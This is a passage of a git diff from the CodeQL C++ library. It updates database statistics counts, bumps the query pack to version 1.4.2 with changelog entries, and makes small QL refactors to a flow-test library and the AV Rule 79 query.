2338659 @@ -33048,17 +32908,17 @@ 1 2 - 865959 + 872291 2 15 - 39247 + 39495 16 25 - 77913 + 77549 @@ -33074,17 +32934,17 @@ 1 2 - 865959 + 872291 2 15 - 39247 + 39495 16 25 - 77913 + 77549 @@ -33100,7 +32960,7 @@ 1 2 - 983111 + 989328 2 @@ -33121,7 +32981,7 @@ 1 2 - 2336741 + 2338659 @@ -33137,7 +32997,7 @@ 1 2 - 2336741 + 2338659 @@ -33153,7 +33013,7 @@ 1 2 - 2336741 + 2338659 @@ -33169,22 +33029,22 @@ 1 2 - 439428 + 439236 2 3 - 32733 + 33072 3 15 - 42317 + 42172 15 - 111551 - 24571 + 111796 + 24672 @@ -33200,17 +33060,17 @@ 1 2 - 470696 + 470366 2 4 - 49308 + 49613 4 - 12073 - 19046 + 12163 + 19173 @@ -33226,22 +33086,22 @@ 1 2 - 439428 + 439236 2 3 - 32733 + 33072 3 15 - 42317 + 42172 15 - 111551 - 24571 + 111796 + 24672 @@ -33251,26 +33111,26 @@ braced_initialisers - 74268 + 74182 init - 74268 + 74182 expr_ancestor - 1797625 + 1795437 exp - 1797625 + 1795437 ancestor - 899688 + 898593 @@ -33284,7 +33144,7 @@ 1 2 - 1797625 + 1795437 @@ -33300,17 +33160,17 @@ 1 2 - 18305 + 18283 2 3 - 870593 + 869534 3 19 - 10789 + 10776 @@ -33320,19 +33180,19 @@ exprs - 25136620 + 25138614 id - 25136620 + 25138614 kind - 1448 + 1456 location - 10563688 + 5896962 @@ -33346,7 +33206,7 @@ 1 2 - 25136620 + 25138614 @@ -33362,7 +33222,7 @@ 1 2 - 25136620 + 25138614 @@ -33377,73 +33237,63 @@ 1 - 10 - 109 - - - 12 - 18 - 109 - - - 26 - 100 - 109 + 13 + 121 - 105 - 305 - 109 + 13 + 46 + 121 - 323 - 467 - 109 + 53 + 76 + 121 - 607 - 893 - 109 + 79 + 245 + 121 - 906 - 1658 - 109 + 302 + 524 + 121 - 1781 - 2386 - 109 + 530 + 969 + 121 - 3210 - 4267 - 109 + 1043 + 2109 + 121 - 4809 - 5185 - 109 + 2204 + 3636 + 121 - 5187 - 22126 - 109 + 4328 + 7013 + 121 - 26363 - 50205 - 109 + 7403 + 8498 + 121 - 63936 - 144106 - 109 + 9709 + 32322 + 121 - 312846 - 312847 - 21 + 33490 + 447645 + 121 @@ -33458,73 +33308,68 @@ 1 - 9 - 109 + 3 + 107 - 9 + 4 15 - 109 + 121 17 - 96 - 109 - - - 99 - 222 - 109 + 26 + 121 - 260 - 383 - 109 + 28 + 40 + 121 - 408 - 594 - 109 + 47 + 105 + 121 - 599 - 749 - 109 + 133 + 276 + 121 - 864 - 1774 - 109 + 305 + 552 + 121 - 1812 - 2545 - 109 + 620 + 1425 + 121 - 2623 - 2919 - 109 + 1437 + 1711 + 121 - 3419 - 4913 - 109 + 1929 + 3215 + 121 - 5471 - 21139 - 109 + 3232 + 8454 + 121 - 26254 - 76840 - 109 + 11521 + 87503 + 121 - 224078 - 224079 - 21 + 155156 + 155157 + 13 @@ -33540,22 +33385,32 @@ 1 2 - 8887659 + 2750855 2 3 - 818573 + 1390969 3 - 16 - 793536 + 4 + 522854 - 16 - 71733 - 63919 + 4 + 6 + 539333 + + + 6 + 13 + 455210 + + + 13 + 144777 + 237739 @@ -33571,17 +33426,17 @@ 1 2 - 9023791 + 4271139 2 3 - 772932 + 1230098 3 - 32 - 766964 + 30 + 395724 @@ -33591,15 +33446,15 @@ expr_reuse - 907596 + 906491 reuse - 907596 + 906491 original - 907596 + 906491 value_category @@ -33617,7 +33472,7 @@ 1 2 - 907596 + 906491 @@ -33633,7 +33488,7 @@ 1 2 - 907596 + 906491 @@ -33649,7 +33504,7 @@ 1 2 - 907596 + 906491 @@ -33665,7 +33520,7 @@ 1 2 - 907596 + 906491 @@ -33717,19 +33572,19 @@ expr_types - 25136620 + 25138614 id - 25136620 + 25138614 typeid - 213831 + 120596 value_category - 43 + 56 @@ -33743,7 +33598,7 @@ 1 2 - 25136620 + 25138614 @@ -33759,7 +33614,7 @@ 1 2 - 25136620 + 25138614 @@ -33775,52 +33630,57 @@ 1 2 - 52421 + 17845 2 3 - 35130 + 19220 3 4 - 14504 + 10269 4 5 - 14504 + 8080 5 - 8 - 17510 + 7 + 10690 - 8 - 14 - 17378 + 7 + 11 + 11111 - 14 - 24 - 16391 + 11 + 18 + 10157 - 24 - 49 - 16084 + 18 + 33 + 9483 - 49 - 134 - 16105 + 33 + 70 + 9119 - 134 - 440938 - 13801 + 70 + 233 + 9062 + + + 233 + 379496 + 5555 @@ -33836,12 +33696,12 @@ 1 2 - 185591 + 100590 2 3 - 28240 + 20005 @@ -33855,14 +33715,14 @@ 12 - 153383 - 153384 - 21 + 118902 + 118903 + 28 - 992173 - 992174 - 21 + 777025 + 777026 + 28 @@ -33876,14 +33736,14 @@ 12 - 2282 - 2283 - 21 + 1298 + 1299 + 28 - 8750 - 8751 - 21 + 3713 + 3714 + 28 @@ -33904,15 +33764,15 @@ new_allocated_type - 58177 + 57992 expr - 58177 + 57992 type_id - 34494 + 34384 @@ -33926,7 +33786,7 @@ 1 2 - 58177 + 57992 @@ -33942,17 +33802,17 @@ 1 2 - 14501 + 14455 2 3 - 18234 + 18176 3 19 - 1759 + 1753 @@ -33962,15 +33822,15 @@ new_array_allocated_type - 6964 + 6932 expr - 6964 + 6932 type_id - 2992 + 2978 @@ -33984,7 +33844,7 @@ 1 2 - 6964 + 6932 @@ -34005,17 +33865,17 @@ 2 3 - 2645 + 2633 3 5 - 225 + 224 6 15 - 78 + 77 @@ -35361,15 +35221,15 @@ condition_decl_bind - 438155 + 437622 expr - 438155 + 437622 decl - 438155 + 437622 @@ -35383,7 +35243,7 @@ 1 2 - 438155 + 437622 @@ -35399,7 +35259,7 @@ 1 2 - 438155 + 437622 @@ -35409,15 +35269,15 @@ typeid_bind - 60322 + 60130 expr - 60322 + 60130 type_id - 20078 + 20015 @@ -35431,7 +35291,7 @@ 1 2 - 60322 + 60130 @@ -35447,17 +35307,17 @@ 1 2 - 3732 + 3720 2 3 - 15831 + 15781 3 328 - 514 + 513 @@ -35467,15 +35327,15 @@ uuidof_bind - 27728 + 28057 expr - 27728 + 28057 type_id - 27459 + 27789 @@ -35489,7 +35349,7 @@ 1 2 - 27728 + 28057 @@ -35505,12 +35365,12 @@ 1 2 - 27234 + 27565 2 4 - 225 + 224 @@ -35520,15 +35380,15 @@ sizeof_bind - 241252 + 241336 expr - 241252 + 241336 type_id - 11189 + 11178 @@ -35542,7 +35402,7 @@ 1 2 - 241252 + 241336 @@ -35558,12 +35418,12 @@ 1 2 - 3901 + 3866 2 3 - 2758 + 2775 3 @@ -35588,7 +35448,7 @@ 7 40 - 848 + 854 40 @@ -35651,11 +35511,11 @@ lambdas - 17804 + 17748 expr - 17804 + 17748 default_capture @@ -35677,7 +35537,7 @@ 1 2 - 17804 + 17748 @@ -35693,7 +35553,7 @@ 1 2 - 17804 + 17748 @@ -35792,23 +35652,23 @@ lambda_capture - 28786 + 28523 id - 28786 + 28523 lambda - 13391 + 13294 index - 147 + 146 field - 28786 + 28523 captured_by_reference @@ -35820,7 +35680,7 @@ location - 18604 + 18396 @@ -35834,7 +35694,7 @@ 1 2 - 28786 + 28523 @@ -35850,7 +35710,7 @@ 1 2 - 28786 + 28523 @@ -35866,7 +35726,7 @@ 1 2 - 28786 + 28523 @@ -35882,7 +35742,7 @@ 1 2 - 28786 + 28523 @@ -35898,7 +35758,7 @@ 1 2 - 28786 + 28523 @@ -35914,7 +35774,7 @@ 1 2 - 28786 + 28523 @@ -35930,27 +35790,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -35966,27 +35826,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -36002,27 +35862,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -36038,12 +35898,12 @@ 1 2 - 12801 + 12724 2 3 - 589 + 569 @@ -36059,12 +35919,12 @@ 1 2 - 13365 + 13268 2 3 - 26 + 25 @@ -36080,27 +35940,27 @@ 1 2 - 7337 + 7303 2 3 - 3278 + 3245 3 4 - 1344 + 1329 4 7 - 1092 + 1087 7 18 - 338 + 328 @@ -36159,43 +36019,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36255,43 +36115,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36351,43 +36211,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36489,43 +36349,43 @@ 8 - 25 - 26 + 24 + 25 8 - 42 - 43 + 41 + 42 8 - 66 - 67 + 65 + 66 8 - 99 - 100 + 98 + 99 8 - 180 - 181 + 179 + 180 8 - 349 - 350 + 347 + 348 8 - 589 - 590 + 585 + 586 8 - 937 - 938 + 933 + 934 8 @@ -36542,7 +36402,7 @@ 1 2 - 28786 + 28523 @@ -36558,7 +36418,7 @@ 1 2 - 28786 + 28523 @@ -36574,7 +36434,7 @@ 1 2 - 28786 + 28523 @@ -36590,7 +36450,7 @@ 1 2 - 28786 + 28523 @@ -36606,7 +36466,7 @@ 1 2 - 28786 + 28523 @@ -36622,7 +36482,7 @@ 1 2 - 28786 + 28523 @@ -36636,13 +36496,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36657,13 +36517,13 @@ 12 - 592 - 593 + 590 + 591 8 - 1020 - 1021 + 1016 + 1017 8 @@ -36699,13 +36559,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36736,13 +36596,13 @@ 12 - 547 - 548 + 545 + 546 8 - 1601 - 1602 + 1589 + 1590 8 @@ -36762,8 +36622,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36783,8 +36643,8 @@ 8 - 927 - 928 + 923 + 924 8 @@ -36825,8 +36685,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36862,8 +36722,8 @@ 8 - 1817 - 1818 + 1803 + 1804 8 @@ -36880,17 +36740,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36906,12 +36766,12 @@ 1 2 - 17381 + 17179 2 68 - 1222 + 1217 @@ -36927,12 +36787,12 @@ 1 2 - 17858 + 17663 2 8 - 745 + 733 @@ -36948,17 +36808,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36974,12 +36834,12 @@ 1 2 - 18578 + 18370 2 3 - 26 + 25 @@ -36995,7 +36855,7 @@ 1 2 - 18604 + 18396 @@ -37005,11 +36865,11 @@ fold - 1372 + 1368 expr - 1372 + 1368 operator @@ -37031,7 +36891,7 @@ 1 2 - 1372 + 1368 @@ -37047,7 +36907,7 @@ 1 2 - 1372 + 1368 @@ -37126,19 +36986,19 @@ stmts - 6324453 + 6258938 id - 6324453 + 6258938 kind - 2556 + 172 location - 2966319 + 2754699 @@ -37152,7 +37012,7 @@ 1 2 - 6324453 + 6258938 @@ -37168,7 +37028,7 @@ 1 2 - 6324453 + 6258938 @@ -37184,97 +37044,102 @@ 1 2 - 134 + 8 - 18 - 19 - 134 + 26 + 27 + 8 - 22 - 23 - 134 + 418 + 419 + 8 - 51 - 52 - 134 + 546 + 547 + 8 - 76 - 77 - 134 + 827 + 828 + 8 - 84 - 85 - 134 + 1470 + 1471 + 8 - 107 - 108 - 134 + 1577 + 1578 + 8 - 163 - 164 - 134 + 1802 + 1803 + 8 - 258 - 259 - 134 + 2462 + 2463 + 8 - 299 - 300 - 134 + 3217 + 3218 + 8 - 412 - 413 - 134 + 3610 + 3611 + 8 - 498 - 499 - 134 + 4863 + 4864 + 8 - 538 - 539 - 134 + 16249 + 16250 + 8 - 1371 - 1372 - 134 + 16732 + 16733 + 8 - 2810 - 2811 - 134 + 21439 + 21440 + 8 - 4866 - 4867 - 134 + 68795 + 68796 + 8 - 9205 - 9206 - 134 + 89075 + 89076 + 8 - 12120 - 12121 - 134 + 112007 + 112008 + 8 - 14105 - 14106 - 134 + 185649 + 185650 + 8 + + + 194240 + 194241 + 8 @@ -37290,97 +37155,102 @@ 1 2 - 134 + 8 - 8 - 9 - 134 + 26 + 27 + 8 - 18 - 19 - 134 + 109 + 110 + 8 - 45 - 46 - 134 + 419 + 420 + 8 - 50 - 51 - 134 + 778 + 779 + 8 - 56 - 57 - 134 + 1079 + 1080 + 8 - 74 - 75 - 134 + 1311 + 1312 + 8 - 101 - 102 - 134 + 1347 + 1348 + 8 - 103 - 104 - 134 + 1388 + 1389 + 8 - 131 - 132 - 134 + 2061 + 2062 + 8 - 225 - 226 - 134 + 2309 + 2310 + 8 - 252 - 253 - 134 + 2476 + 2477 + 8 - 368 - 369 - 134 + 7043 + 7044 + 8 - 650 - 651 - 134 + 8622 + 8623 + 8 - 1753 - 1754 - 134 + 11206 + 11207 + 8 - 2198 - 2199 - 134 + 36340 + 36341 + 8 - 4244 - 4245 - 134 + 43405 + 43406 + 8 - 6101 - 6102 - 134 + 47752 + 47753 + 8 - 6607 - 6608 - 134 + 83834 + 83835 + 8 + + + 97372 + 97373 + 8 @@ -37396,22 +37266,17 @@ 1 2 - 2357205 + 2352912 2 - 3 - 243538 - - - 3 - 8 - 228602 + 4 + 239081 - 8 - 653 - 136973 + 4 + 1581 + 162705 @@ -37427,12 +37292,12 @@ 1 2 - 2892720 + 2667989 2 - 8 - 73599 + 10 + 86709 @@ -37549,15 +37414,15 @@ if_initialization - 403 + 375 if_stmt - 403 + 375 init_id - 403 + 375 @@ -37571,7 +37436,7 @@ 1 2 - 403 + 375 @@ -37587,7 +37452,7 @@ 1 2 - 403 + 375 @@ -37597,15 +37462,15 @@ if_then - 987309 + 987388 if_stmt - 987309 + 987388 then_id - 987309 + 987388 @@ -37619,7 +37484,7 @@ 1 2 - 987309 + 987388 @@ -37635,7 +37500,7 @@ 1 2 - 987309 + 987388 @@ -37645,15 +37510,15 @@ if_else - 468357 + 467787 if_stmt - 468357 + 467787 else_id - 468357 + 467787 @@ -37667,7 +37532,7 @@ 1 2 - 468357 + 467787 @@ -37683,7 +37548,7 @@ 1 2 - 468357 + 467787 @@ -37741,15 +37606,15 @@ constexpr_if_then - 72388 + 103934 constexpr_if_stmt - 72388 + 103934 then_id - 72388 + 103934 @@ -37763,7 +37628,7 @@ 1 2 - 72388 + 103934 @@ -37779,7 +37644,7 @@ 1 2 - 72388 + 103934 @@ -37789,15 +37654,15 @@ constexpr_if_else - 41980 + 74042 constexpr_if_stmt - 41980 + 74042 else_id - 41980 + 74042 @@ -37811,7 +37676,7 @@ 1 2 - 41980 + 74042 @@ -37827,7 +37692,7 @@ 1 2 - 41980 + 74042 @@ -37933,15 +37798,15 @@ while_body - 39531 + 39534 while_stmt - 39531 + 39534 body_id - 39531 + 39534 @@ -37955,7 +37820,7 @@ 1 2 - 39531 + 39534 @@ -37971,7 +37836,7 @@ 1 2 - 39531 + 39534 @@ -37981,15 +37846,15 @@ do_body - 232977 + 232974 do_stmt - 232977 + 232974 body_id - 232977 + 232974 @@ -38003,7 +37868,7 @@ 1 2 - 232977 + 232974 @@ -38019,7 +37884,7 @@ 1 2 - 232977 + 232974 @@ -38077,11 +37942,11 @@ switch_case - 895930 + 894840 switch_stmt - 441314 + 440777 index @@ -38089,7 +37954,7 @@ case_id - 895930 + 894840 @@ -38108,12 +37973,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38134,12 +37999,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38297,7 +38162,7 @@ 1 2 - 895930 + 894840 @@ -38313,7 +38178,7 @@ 1 2 - 895930 + 894840 @@ -38323,15 +38188,15 @@ switch_body - 441314 + 440777 switch_stmt - 441314 + 440777 body_id - 441314 + 440777 @@ -38345,7 +38210,7 @@ 1 2 - 441314 + 440777 @@ -38361,7 +38226,7 @@ 1 2 - 441314 + 440777 @@ -38371,15 +38236,15 @@ for_initialization - 73031 + 73036 for_stmt - 73031 + 73036 init_id - 73031 + 73036 @@ -38393,7 +38258,7 @@ 1 2 - 73031 + 73036 @@ -38409,7 +38274,7 @@ 1 2 - 73031 + 73036 @@ -38419,15 +38284,15 @@ for_condition - 76117 + 76123 for_stmt - 76117 + 76123 condition_id - 76117 + 76123 @@ -38441,7 +38306,7 @@ 1 2 - 76117 + 76123 @@ -38457,7 +38322,7 @@ 1 2 - 76117 + 76123 @@ -38467,15 +38332,15 @@ for_update - 73171 + 73177 for_stmt - 73171 + 73177 update_id - 73171 + 73177 @@ -38489,7 +38354,7 @@ 1 2 - 73171 + 73177 @@ -38505,7 +38370,7 @@ 1 2 - 73171 + 73177 @@ -38515,15 +38380,15 @@ for_body - 84141 + 84148 for_stmt - 84141 + 84148 body_id - 84141 + 84148 @@ -38537,7 +38402,7 @@ 1 2 - 84141 + 84148 @@ -38553,7 +38418,7 @@ 1 2 - 84141 + 84148 @@ -38563,19 +38428,19 @@ stmtparents - 5536606 + 5523824 id - 5536606 + 5523824 index - 16843 + 16765 parent - 2349144 + 2342363 @@ -38589,7 +38454,7 @@ 1 2 - 5536606 + 5523824 @@ -38605,7 +38470,7 @@ 1 2 - 5536606 + 5523824 @@ -38621,52 +38486,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38682,52 +38547,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38743,32 +38608,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38784,32 +38649,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38819,22 +38684,22 @@ ishandler - 47453 + 47389 block - 47453 + 47389 stmt_decl_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -38842,7 +38707,7 @@ decl - 730550 + 730175 @@ -38856,12 +38721,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38877,12 +38742,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38942,7 +38807,7 @@ 5480 - 170178 + 170179 8 @@ -39003,7 +38868,7 @@ 5480 - 170161 + 170162 8 @@ -39020,7 +38885,7 @@ 1 2 - 730526 + 730151 2 @@ -39041,7 +38906,7 @@ 1 2 - 730550 + 730175 @@ -39051,11 +38916,11 @@ stmt_decl_entry_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -39063,7 +38928,7 @@ decl_entry - 730619 + 730244 @@ -39077,12 +38942,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39098,12 +38963,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39163,7 +39028,7 @@ 5480 - 170178 + 170179 8 @@ -39224,7 +39089,7 @@ 5480 - 170178 + 170179 8 @@ -39241,7 +39106,7 @@ 1 2 - 730619 + 730244 @@ -39257,7 +39122,7 @@ 1 2 - 730619 + 730244 @@ -39267,15 +39132,15 @@ blockscope - 1838779 + 1764517 block - 1838779 + 1764517 enclosing - 1575731 + 1509119 @@ -39289,7 +39154,7 @@ 1 2 - 1838779 + 1764517 @@ -39305,17 +39170,17 @@ 1 2 - 1400410 + 1337771 2 3 - 129842 + 128699 3 28 - 45478 + 42649 @@ -39325,19 +39190,19 @@ jumpinfo - 347302 + 347327 id - 347302 + 347327 str - 28864 + 28866 target - 72493 + 72498 @@ -39351,7 +39216,7 @@ 1 2 - 347302 + 347327 @@ -39367,7 +39232,7 @@ 1 2 - 347302 + 347327 @@ -39383,7 +39248,7 @@ 2 3 - 13557 + 13558 3 @@ -39429,7 +39294,7 @@ 1 2 - 23122 + 23124 2 @@ -39460,17 +39325,17 @@ 2 3 - 36105 + 36107 3 4 - 17581 + 17583 4 5 - 7357 + 7358 5 @@ -39496,7 +39361,7 @@ 1 2 - 72493 + 72498 @@ -39506,19 +39371,19 @@ preprocdirects - 5704844 + 5407616 id - 5704844 + 5407616 kind - 1480 + 1375 location - 5701480 + 5404364 @@ -39532,7 +39397,7 @@ 1 2 - 5704844 + 5407616 @@ -39548,7 +39413,7 @@ 1 2 - 5704844 + 5407616 @@ -39564,57 +39429,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23266 - 23267 - 134 + 21984 + 21985 + 125 @@ -39630,57 +39495,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23241 - 23242 - 134 + 21958 + 21959 + 125 @@ -39696,12 +39561,12 @@ 1 2 - 5701345 + 5404239 - 26 - 27 - 134 + 27 + 28 + 125 @@ -39717,7 +39582,7 @@ 1 2 - 5701480 + 5404364 @@ -39727,15 +39592,15 @@ preprocpair - 1103859 + 1141282 begin - 846328 + 886636 elseelifend - 1103859 + 1141282 @@ -39749,17 +39614,17 @@ 1 2 - 601579 + 645622 2 3 - 235599 + 231383 3 9 - 9149 + 9630 @@ -39775,7 +39640,7 @@ 1 2 - 1103859 + 1141282 @@ -39785,41 +39650,41 @@ preproctrue - 388584 + 437752 branch - 388584 + 437752 preprocfalse - 273273 + 284664 branch - 273273 + 284664 preproctext - 4690461 + 4352508 id - 4690461 + 4352508 head - 3333241 + 2954828 body - 1948304 + 1681344 @@ -39833,7 +39698,7 @@ 1 2 - 4690461 + 4352508 @@ -39849,7 +39714,7 @@ 1 2 - 4690461 + 4352508 @@ -39865,12 +39730,12 @@ 1 2 - 3143793 + 2758089 2 - 740 - 189448 + 798 + 196738 @@ -39886,12 +39751,12 @@ 1 2 - 3253048 + 2875157 2 5 - 80192 + 79670 @@ -39907,17 +39772,17 @@ 1 2 - 1763699 + 1532758 2 - 6 - 146122 + 10 + 127698 - 6 - 12303 - 38481 + 10 + 13579 + 20887 @@ -39933,17 +39798,17 @@ 1 2 - 1767601 + 1537010 2 - 7 - 146526 + 12 + 127323 - 7 - 2977 - 34176 + 12 + 3231 + 17009 @@ -39953,15 +39818,15 @@ includes - 408508 + 406823 id - 408508 + 406823 included - 75250 + 74940 @@ -39975,7 +39840,7 @@ 1 2 - 408508 + 406823 @@ -39991,37 +39856,37 @@ 1 2 - 37239 + 37085 2 3 - 12106 + 12056 3 4 - 6351 + 6324 4 6 - 6865 + 6837 6 11 - 5795 + 5771 11 47 - 5646 + 5623 47 793 - 1245 + 1240 @@ -40031,15 +39896,15 @@ link_targets - 947 + 943 id - 947 + 943 binary - 947 + 943 @@ -40053,7 +39918,7 @@ 1 2 - 947 + 943 @@ -40069,7 +39934,7 @@ 1 2 - 947 + 943 @@ -40079,15 +39944,15 @@ link_parent - 38261175 + 38129861 element - 4866384 + 4849837 link_target - 429 + 427 @@ -40101,17 +39966,17 @@ 1 2 - 667923 + 665798 2 9 - 33936 + 33828 9 10 - 4164523 + 4150209 @@ -40130,48 +39995,48 @@ 42 - 97325 - 97326 + 97300 + 97301 42 - 97444 - 97445 + 97419 + 97420 42 - 97497 - 97498 + 97472 + 97473 42 - 97524 - 97525 + 97499 + 97500 42 - 97546 - 97547 + 97521 + 97522 42 - 97578 - 97579 + 97553 + 97554 42 - 99585 - 99586 + 99560 + 99561 42 - 102965 - 102966 + 102940 + 102941 42 - 104327 - 104328 + 104302 + 104303 42 diff --git a/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll b/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll index 0effb698f419..e4eec5dbe126 100644 --- a/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll +++ b/cpp/ql/lib/utils/test/dataflow/FlowTestCommon.qll @@ -26,7 +26,7 @@ module IRFlowTest implements TestSig { n = strictcount(int line, int column | Flow::flow(any(IRDataFlow::Node otherSource | - otherSource.hasLocationInfo(_, line, column, _, _) + otherSource.getLocation().hasLocationInfo(_, line, column, _, _) ), sink) ) and ( @@ -55,7 +55,7 @@ module AstFlowTest implements TestSig { n = strictcount(int line, int column | Flow::flow(any(AstDataFlow::Node otherSource | - otherSource.hasLocationInfo(_, line, column, _, _) + otherSource.getLocation().hasLocationInfo(_, line, column, _, _) ), sink) ) and ( diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index f9880ce57641..4edd493015a3 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.4.2 + +No user-facing changes. + +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + ## 1.4.0 ### Query Metadata Changes diff --git a/cpp/ql/src/change-notes/released/1.4.1.md b/cpp/ql/src/change-notes/released/1.4.1.md new file mode 100644 index 000000000000..7d1ba66b92ed --- /dev/null +++ b/cpp/ql/src/change-notes/released/1.4.1.md @@ -0,0 +1,5 @@ +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. diff --git a/cpp/ql/src/change-notes/released/1.4.2.md b/cpp/ql/src/change-notes/released/1.4.2.md new file mode 100644 index 000000000000..37be01f40d98 --- /dev/null +++ b/cpp/ql/src/change-notes/released/1.4.2.md @@ -0,0 +1,3 @@ +## 1.4.2 + +No user-facing changes. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index b8b2e97d5086..a76cacdf7997 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.0 +lastReleaseVersion: 1.4.2 diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql index 8575a4310422..85b779903ebf 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql @@ -98,8 +98,8 @@ private predicate exprReleases(Expr e, Expr released, string kind) { e.(FunctionCall).getTarget() = f or e.(FunctionCall).getTarget().(MemberFunction).getAnOverridingFunction+() = f ) and - access = f.getParameter(arg).getAnAccess() and - e.(FunctionCall).getArgument(arg) = released and + access = f.getParameter(pragma[only_bind_into](arg)).getAnAccess() and + e.(FunctionCall).getArgument(pragma[only_bind_into](arg)) = released and exprReleases(_, pragma[only_bind_into](exprOrDereference(globalValueNumber(access).getAnExpr())), kind) ) diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 4a85abdeb488..52f0f08a4c55 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.0 +version: 1.4.2 groups: - cpp - queries diff --git a/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index be0cf4434311..a15a584e13d0 100644 --- a/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, 